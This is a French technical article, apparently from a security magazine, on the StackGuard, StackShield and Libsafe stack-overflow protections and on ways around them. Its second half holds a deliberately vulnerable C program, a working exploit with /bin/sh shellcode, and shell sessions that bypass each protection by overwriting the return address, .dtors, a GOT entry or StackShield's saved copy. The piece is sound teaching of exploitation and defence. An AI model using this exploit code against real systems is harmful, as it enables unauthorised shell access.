Une autre forme de protection est fourni au niveau utilisateur, soit par des modifications du compilateur (stackguard/stackshield), soit au niveau des bibliothèques dynamiques utilisées par les programmes (libsafe). Cet article présente ces protections.

Stackguard : détails techniques

http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/

La pile est normalement composée telle que présentée en figure 1


Fig.1 : la pile (compilation normale)

Dans ce type de configuration, l'attaquant est obligé d'écraser en premier le pointeur de la frame locale (%ebp) pour écraser l'adresse de retour de la fonction (%eip). C'est ici qu'intervient Stackguard. En effet, pour détecter la tentative de débordement de tampons, Stackguard place une valeur appelée "canary" entre le registre %ebp et le registre %eip. Dans ce cas, l'attaquant écrase le registre %ebp, puis en voulant écraser le registre %eip, il modifie le canary. La tentative de débordement de tampon est alors détectée.

Par comparaison avec la figure 1, la figure 2 présente l'état de la pile lorsque le programme est compilé avec Stackguard.


Fig.2 : la pile (compilation avec Stackguard)

Pour éviter une usurpation du canary, Stackguard utilise les trois méthodes suivantes pour le générer :

Cette protection n'est malheureusement pas infaillible. Il existe en effet plusieurs techniques permettant de la contourner dans certains conditions, comme nous le verrons par la suite.

Stackshield: détails techniques

Stackshield (http://www.angelfire.com/sk/stackshield/) n'empêche pas la modification de l'adresse de retour présente dans la pile (%eip). Cependant, celle-ci est copiée dès le début de la fonction dans une région inaccessible en écriture (le segment DATA) puisque ce dernier se trouve loin en dessous de la pile. Au moment de quitter la fonction (i.e. juste avant le return), Stackshield récupère l'adresse sauvegardée et la compare à celle présente dans la pile. Si elle a été modifiée, StackShield arrête l'exécution du programme ou essaye de la continuer en ignorant l'attaque du programme vulnérable (risque de signal 11). Nous verrons par la suite comment, dans certains cas, il est possible de modifier cette adresse.

Libsafe: détails techniques

Fonctionnement

LibSafe est une bibliothèque sous licence GNU Lesser General Public License qui redéfinit les fonctions sensibles de la librairie C standard. Elle a été développée par le laboratoire de recherche Avaya, issu des Bell Labs.

Initialement, LibSafe protégeait des débordements de pile et depuis la version 2, elle intègre aussi une protection contre les bogues de format.

Fonctions vulnérables

Les fonctions qui conduisent potentiellement à des débordements de buffer sont bien connues. Citons par exemple strcpy(), strcat(), sprintf(), vsprintf(), getwd(), gets(), realpath()...

Toutes ces fonctions sont redéfinies par LibSafe, ainsi que la fonction memcpy(). En effet, l'option d'optimisation -O de gcc remplace dans certains cas un appel à strcpy() par plusieurs memcpy() suivi d'un strcpy().

D'autres fonctions présentent un risque face aux bogue de format, comme fscanf(), scanf(), sscanf(), printf(), syslog()... Comme les familles des fonctions *printf() et *scanf() s'appuient sur les fonctions _IO_vfprintf() et _IO_vfscanf, LibSafe redéfinit ces deux fonctions.

Implémentation

Protection de la pile

Fonctionnement de LibSafe

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char bigbuffer[600];

int main()
{
  char buffer[200];

  memset(bigbuffer, 'A', sizeof(bigbuffer)-1);
  bigbuffer[sizeof(bigbuffer)-1] = 0;
  strcpy(buffer,bigbuffer);
  return 0;
}

La fonction strcpy() redéfinie par LibSafe récupère d'abord la taille maximale de la destination :

if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
     LOG(5, "strcpy(<heap var> , <src>)\n");
     return real_strcpy(dest, src);
}
LOG(4, "strcpy(<stack var> , <src>) stack limit=%d)\n", max_size);

La fonction _libsafe_stackVariableP() recherche le pointeur de frame %ebp et calcule l'espace entre celui-ci le buffer destination. On obtient ainsi la taille maximale disponible avant d'écraser le pointeur de frame et l'adresse de retour.

Voici le code assembleur intermédiaire du programme précédent :

$ gcc -o essai essai.c -save-temps
$ cat essai.s
  .file   "essai.c"
  [...]
main:
  pushl   %ebp
  movl    %esp, %ebp
  subl    $216, %esp

Le registre %ebp est initialisé avec l'adresse de la pile. Le compilateur alloue 216 octets pour la variable buffer , ce qui est plus que nécessaire (les 200 de buffer).

  [...]
  pushl   $bigbuffer
  leal    -216(%ebp), %eax
  pushl   %eax
  call    strcpy

Les paramètres sont placés dans la pile : le buffer source bigbuffer puis le buffer destination (pointé par -216(%ebp)). Dans le cas où le buffer destination est bien dans la pile, LibSafe n'a plus qu'à comparer la taille du buffer source à celle obtenue précédemment :

if ((len = strnlen(src, max_size)) == max_size)
    _libsafe_die("Overflow caused by strcpy()");
real_memcpy(dest, src, len + 1);

Signalons plusieurs limitations de LibSafe :

Protections en action

/* demo.c */

int main(int argc, char **argv)
{
    char buf[10];

    strcpy(buf, argv[1]); /* Vulnérabilité */
    return 0;
}

Dans les deux exemples ci-dessous, guardgcc et shieldgcc sont des cpompilateurs spéciaux ajoutant aux programmes compilés les protections présentées ci-dessus.

Stackguard

$ guardgcc -o demo demo.c
$ ./demo `perl -e 'print "A"x100'`
Canary 720653 = aff0d died in procedure main.
Illegal instruction

Le canary est écrasé et le débordement détecté.

Stackshield

$ shieldgcc -o demo demo.c
$ ./demo `perl -e 'print "A"x100'`
$

Dans ce mode de compilation, il est impossible de remplacer l'adresse de retour d'une fonction. Le programme sort normalement sans provoquer de "signal 11" (segmentation violation).

Libsafe

$ export LD_PRELOAD=/home/cb/libsafe/libsafe.so 
$ gcc -o demo demo.c
$ ./demo `perl -e 'print "A"x100'`
Detected an attempt to write across stack boundary.
Terminating /home/cb/libsafe-2.0-11/src/demo.
uid=1000  euid=1000  pid=18057
Call stack:
0x40015341
0x4001543e
0x80483c7
0x400372e2
Overflow caused by strcpy()
Killed
$ 

Ici, Libsafe détecte bien la tentative de débordement. Le programme vulnérable est immédiatement arrêté.

Comment contourner ces protections

Précisons d'emblée que ces protections sont efficaces et ne sont contournables que dans certaines situations, comme nous allons le voir avec le programme suivant :

/* vul.c */

int vul(char *argument1, char *argument2)
{
          int i;
          char *msg;
          char buffer[64];

          msg = buffer;
 
          printf ("msg=%p\t -- Avant le premier strcpy\n", msg);
/* [1] */ strcpy(msg, argument1);
          printf ("msg=%p\t -- Après le premier strcpy\n", msg);
/* [2] */ strncpy(msg, argument2, 16);

          return 0;
}
 
int main(int argc, char **argv)
{
   if (argc != 3) {
      printf("Usage: %s arg1 arg2\n", argv[0]);
      exit(0);
   }

   vul(argv[1], argv[2]);
   printf ("Exécution terminée.\n");
}

La vulnérabilité se situe à la ligne [1]. Le premier argument passé à la fonction vul() est argv[1], devenant par la suite argument1. Le pointeur msg est égal à buffer, ce dernier pouvant contenir 64 éléments. Lors de l'exécution de la fonction strcpy() à la ligne [1], argument1 est copié intégralement dans msg. Comme msg pointe sur le premier élément de buffer, si argument1 contient plus de 64 éléments (c'est-à-dire 64 octets), un débordement de tampon modifie alors l'exécution du programme vulnérable.

$ gcc -ggdb -o vul vul.c 

$ ./vul AAAA AAAA
msg=0xbffff8dc           -- Avant le premier strcpy
msg=0xbffff8dc           -- Après le premier strcpy
Exécution terminée.
$ 

Dans cette première démonstration, tout se passe normalement. Regardons maintenant le résultat obtenu en remplissant le premier argument avec 68 éléments soit 4 éléments de plus que prévu.

$ gcc -o vul vul.c
$ ./vul `perl -e 'print "A"x68'` AAAA
msg=0xbffff89c           -- Avant le premier strcpy
msg=0x41414141           -- Après le premier strcpy
Segmentation fault (core dumped)
$

Ici, comme buffer ne peut normalement contenir que 64 octets, les 4 'A' de trop sont placés dans la variable msg (qui contenait préalablement l'adresse d'un bloc de 64 octets situé dans le tas). Celle-ci pointe maintenant vers l'adresse 0x41414141. Vient ensuite l'exécution de la fonction strncpy() à la ligne [2], qui provoque le signal 11. En effet lorsque argument2 est copié à destination de msg, le processus tente d'accéder au contenu de la mémoire pointé par msg, c'est-à-dire à l'adresse 0x41414141, ce qui ne constitue pas une adresse valide : une segmentation violation est signalée.

Contourner Stackguard

Regardons maintenant comment contourner la protection mise en place par Stackguard. Pour cela nous compilons le programme vulnérable à l'aide de guardgcc : $ guardgcc -o vul vul.c

Lors de l'exécution, la pile du programme vulnérable est constituée de la façon suivante :


Fig.3 : la pile lors de l'exécution du programme vulnérable

Pour exploiter le débordement de buffer, il est nécessaire d'écraser l'adresse du pointeur msg avec une adresse valide. De plus, il est impossible d'écrire sur le registre %eip sans modifier le canary. Or, dans le programme vulnérable, nous sommes capable de contrôler l'adresse du pointeur msg en profitant du débordement de la variable buffer[64] (ligne [1]) ainsi que de son contenu (ligne [2]).

Ainsi, comme nous contrôlons msg et son contenu, nous disposons de différentes solutions pour parvenir à nos fins :

Écrasement du registre %eip sans modification du canary

Pour commencer, nous devons déterminer à quelle adresse est stockée la valeur de retour. Pour cela, nous utilisons gdb sur le fichier core généré précédemment :

$ ./vul `perl -e 'print "A"x68'` AAAA
msg=0xbffff89c           -- Avant le premier strcpy
msg=0x41414141           -- Après le premier strcpy
Segmentation fault (core dumped)

$ gdb --core core
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x4007672f in ?? ()
(gdb) info f
Stack level 0, frame at 0xbffff888:
eip = 0x4007672f; saved eip 0x80484b9
called by frame at 0xbffff8e8
Arglist at 0xbffff888, args: 
Locals at 0xbffff888, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff888, eip at 0xbffff88c

L'adresse de retour est sauvegardée en 0xbffff88c. Regardons ce qu'il se passe lorsque nous modifions msg pour qu'il pointe vers cette adresse à l'aide du programme C suivant :

/* expl.c */

#define BUFSIZE 64
#define MSG	4

int main()

{
    char argument1[BUFSIZE + MSG + 1];
    char *argument2 = "AAAA";

    memset(argument1, 0x41, BUFSIZE);

    *(long *)&argument1[BUFSIZE] = 0xbffff88c;

    argument1[BUFSIZE + MSG] = '\0';

    execl("./vul", "vul", argument1, argument2, 0);
}

Nous avons vu que pour modifier l'adresse du pointeur msg, nous devions dépasser de 4 octets buffer[64], soit 68 éléments sans oublier le caractère de fin de chaîne ('\0') ce qui fait 69 éléments. La variable argument1 est donc un tableau de type char de 69 éléments constitué comme suit :

['A' x 64][0xbffff88c][0x0]

La variable argument2 contient quant à elle la chaîne "AAAA".

$ guardgcc -o expl expl.c
$ ./expl 
msg=0xbffff89c           -- Avant le premier strcpy
msg=0xbffff88c           -- Après le premier strcpy
Segmentation fault (core dumped)

Analysons maintenant le core généré :

$ gdb --core core
Core was generated by `vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAŒøÿ¿ AAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

Après le premier strcpy(), la variable msg pointe sur l'adresse où est stockée la valeur de retour. Lors de l'exécution de la fonction strncpy() à la ligne [2], argument2 est copié dans msg et écrase par la même occasion l'adresse de retour avec le contenu de argument2 (soit "AAAA" ou encore 0x41414141). Il ne reste plus qu'à remplacer le contenu de buffer par un shellcode et le contenu de argument2 par l'adresse pointant au début de notre shellcode :

/* expl.c */

#define BUFSIZE         64
#define MSG             4
#define NOP             0x90

int main(int argc, char **argv)
{

    int p_addr, shellcode_addr;
    char argument1[BUFSIZE + MSG + 1];
    char argument2[5];

    char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    if (argc != 3) {
        printf("Usage: %s p_addr shellcode_addr\n", argv[0]);
        exit(0);
    }

    p_addr = strtoul(argv[1], &argv[1], 16);
    shellcode_addr = strtoul(argv[2], &argv[2], 16);

    memset(argument1, NOP, BUFSIZE);
    memcpy(argument1 + BUFSIZE - strlen(shellcode), shellcode, strlen(shellcode));

    *(long *)&argument1[BUFSIZE] = p_addr;
    argument1[BUFSIZE + MSG] = '\0';
    *(long *)&argument2[0] = shellcode_addr;
    argument2[4] = '\0';

    execl("./vul", "vul", argument1, argument2, 0);

}

Notre exploit prend deux arguments :

  1. l'adresse sur laquelle pointe msg ;
  2. l'adresse du shellcode.

$ gcc -o expl expl.c 
$ ./expl 0xbffff88c 0xbffffa48
msg=0xbffff89c           -- Avant le premier strcpy
msg=0xbffff88c           -- Après le premier strcpy
sh-2.04$ 

Cette technique fonctionne bien mais nécessite l'utilisation de gdb pour découvrir l'adresse de retour. L'adresse du shellcode, 0xbffffa48 est déterminée grâce à l'utilisation de gdb. Nous présentons maintenant deux autres solutions qui reposent sur la commande objdump. Gdb est tout de même employé pour découvrir l'adresse du shellcode, même s'il existe différentes techniques qui permettent de le localiser précisément en mémoire.

Écrasement de la section .dtors

Cette technique est beaucoup plus facile à mettre en oeuvre que la précédente. En effet, l'objectif est d'ajouter un pointeur dans la section .dtors (destructeur), qui contient des pointeurs sur les fonctions à exécuter à la sortie du programme (i.e. après la dernière instruction de la fonction main() du programme). Comme par hasard, le pointeur que nous ajoutons correspond à l'adresse du shellcode que nous plaçons au préalable en mémoire. La commande objdump nous fournit l'adresse dont nous avons besoin, à laquelle il faut ajouter 4.

L'exploit précédent convient encore, simplement en modifiant le premier argument :

$ objdump -s -j .dtors ./vul

./vul:     file format elf32-i386

Contents of section .dtors:
 80496ec ffffffff 00000000                    ........        
$ 

La section .dtors est à l'adresse 0x80496ec. Nous devons alors écrire à l'adresse 0x80496ec + 4 = 0x80496f0 :

$ ./expl 0x80496f0 0xbffffa48
msg=0xbffff8ac           -- Avant le premier strcpy
msg=0x80496f0            -- Après le premier strcpy
Exécution terminée.
sh-2.04$ 

Écrasement de la GOT d'une fonction

Nous commençons par déterminer l'adresse de la GOT de la fonction sur laquelle nous voulons écrire :

moudjahidin:~/sec/MISC/Stackguard$ objdump -R ./vul

./vul:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804971c R_386_GLOB_DAT    __gmon_start__
08049700 R_386_JUMP_SLOT   __register_frame_info
08049704 R_386_JUMP_SLOT   __deregister_frame_info
08049708 R_386_JUMP_SLOT   __libc_start_main
0804970c R_386_JUMP_SLOT   printf
08049710 R_386_JUMP_SLOT   exit
08049714 R_386_JUMP_SLOT   strncpy
08049718 R_386_JUMP_SLOT   strcpy

Prenons la GOT de printf(). En effet, dans l'exécution de notre programme, printf() est la seule fonction réutilisée après le débordement (dans le main()). Nous devons donc écrire donc à l'adresse 0x0804970c, adresse où nous copions l'adresse de notre shellcode :

$ ./expl 0x804970c 0xbffffa48
msg=0xbffff8ac           -- Avant le premier strcpy
msg=0x804970c            -- Après le premier strcpy
sh-2.04$ 

Contourner Stackshield

Les méthodes précédemment vues pour stackguard fonctionnent encore très bien pour contourner Stackshield puisqu'elles n'altèrent pas le registre %eip. Nous n'y reviendrons pas. Mais il existe une autre solution, propre à Stackshield.

Comme nous l'avons constaté dans les détails techniques de Stackshield, ce dernier ne permet aucune modification du registre %eip. Néanmoins, la section .data n'est pas protégée en écriture. Par conséquent, si on parvient à écrire dans cette section, à l'endroit précis où Stackshield sauvegarde l'adresse de retour, et à la remplacer par la valeur de notre choix, stackshield lui-même replacera l'adresse que nous voulons dans la pile :)

Merci a Frédéric Raynal pour cette idée amusante :-]

Écrasement de la section .data

Tout d'abord, nous recherchons l'adresse où se trouve la section .data, et en particulier la sauvegarde de l'adresse de retour :

$ objdump -s -j .data vul

vul:     file format elf32-i386

Contents of section .data:
 8049690 00000000 ac960408 00000000           ............    
$ 

L'adresse située en 0x8049690 + 4 = 0x080496ac, est celle où stackshield a placé la sauvegarde valide. Nous la remplaçons donc par l'adresse de notre shellcode :

$ ./expl 0x80496ac 0xbffffa48
msg=0xbffff860   -- Avant le premier strcpy
msg=0x80496ac    -- Après le premier strcpy
Exécution terminée.
sh-2.04$ 

Contourner Libsafe

Comme avec les deux autres protection, obtenir le contrôle sur un pointeur et son contenu permet de contourner Libsafe. Les solutions sont les mêmes et l'exploit précédent fonctionne parfaitement dès que les bonnes valeurs lui sont passées. Pour éviter de nous répéter, nous ne détaillerons pas plus et laissons cela en exercice au lecteur ;-)

Conslusion

Les protections du type "Stackguard/Stackshield/Libsafe" permettent de protéger un système contre des débordements de tampons accidentels. Ils ont pour objectif de protéger le registre %eip contre l'écrasement mais la pile reste toujours exécutable. De ce fait, il est possible, dans certains cas uniquement, de contourner ces protections. Ces cas étant rares, ces types de protections constitue de bonnes défenses.

[1] Éviter les failles de sécurité dès le développement d'une application : mémoire, pile et fonctions, shellcode
F. Raynal, C. Blaess, C. Grenier
http://www.linuxfocus.org/Francais/March2001/article183.shtml
[2] Bypassing Stackguard and stackshield
Kil3r and Bulba
Phrack 56
http://phrack.org/issues/56/5.html

Christophe Bailleux - cb@t-online.fr
Christophe Grenier - christophe.grenier@global-secure.fr